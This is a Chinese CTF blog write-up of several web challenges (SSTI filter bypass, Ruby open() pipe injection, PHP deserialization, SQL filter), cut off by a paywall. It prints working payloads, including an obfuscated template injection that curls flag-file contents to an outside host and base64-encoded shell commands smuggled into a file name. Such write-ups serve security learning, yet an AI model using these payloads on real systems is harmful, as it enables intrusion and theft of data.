因为题目较多,所以很多地方写的比较简略,望师傅们谅解。。
暂时先更新到这了,毕竟还是要工作的。。。。
文章目录
web771
GXYCTF2019 你的名字
题目过滤了{
{}} 只要使用就直接报错,所以只能用{%%}进行盲注了
然后也过滤了一些字符,但是只是替换成空了。所以可以直接往想使用的字符里嵌入。
剩下的就是在基础的命令上改下就可以了。
{
{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
name={%25iconfigf x.__claifss__.__inifit__.__gloifbals__['__buconfigiltins__']['evifal']("__impifort__('o''s').poconfigpen('curl http://xxxx?s=`cat /F*`').read()")%25}1{%25endiconfigf%25}
还有个要注意的点就是这环境竟然没有base64,不知道是我的问题还是题目的问题。
倒是base32可以用。
web773
2021第五空间 PNG图片转换器
原题给了源码的。。。。。
只能在这贴一下了
require 'sinatra'
require 'digest'
require 'base64'
get '/' do
open("./view/index.html", 'r').read()
end
get '/upload' do
open("./view/upload.html", 'r').read()
end
post '/upload' do
unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
return "<script>alert('error');location.href='/upload';</script>"
end
begin
filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
open(filename, 'wb') {
|f|
f.write open(params[:file][:tempfile],'r').read()
}
"Upload success, file stored at #{
filename}"
rescue
'something wrong'
end
end
get '/convert' do
open("./view/convert.html", 'r').read()
end
post '/convert' do
begin
unless params['file']
return "<script>alert('error');location.href='/convert';</script>"
end
file = params['file']
unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
return "<script>alert('dont hack me');</script>"
end
res = open(file, 'r').read()
headers 'Content-Type' => "text/html; charset=utf-8"
"var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
rescue
'something wrong'
end
end
考察ruby open函数漏洞
如果传递给open函数的文件名参数是以“|”开头,Ruby会打开一个管道句柄并执行后面的命令。

这里提交的文件名只能是.png结尾的,payload如下。
ls /
file=|echo bHMgLw==|base64 -d|sh > a.png
file=a.png
cat /F*
file=|echo Y2F0IC9GKg==|base64 -d|sh > a.png
file=a.png
web774
考点其实就下面一个地方,利用地址符赋值就可以了。

<?php
class acp
{
public $cinder;
public $neutron;
public $nova;
class ace
{
public $filename;
public $openstack;
public $docker;
}
$a=new acp();
$b=new ace();
$c=new ace();
$b->docker=$c;
$b->nova=&$b->openstack;
$b->filename='flag.php';
$a->cinder=$b;
echo serialize($a);
?>
web775
原题是有源码的…
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{
$mes}');location.href='{
$url}';</script>");
}
function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password'])

博客内容涉及多个CTF(Capture The Flag)挑战,涵盖Web安全的不同方面,如SQL注入、文件包含、命令执行、序列化漏洞等。作者分享了解题过程,包括利用盲注、编码绕过、文件上传、PHP反序列化等技巧,同时也提到了一些特定环境下的漏洞利用,如PHP的pearcmd.php文件包含和Perl的匿名函数调用。此外,还讨论了如何通过蚁剑(Web管理工具)进行远程命令执行和文件操作来获取Flag。
最低0.47元/天 解锁文章
2151





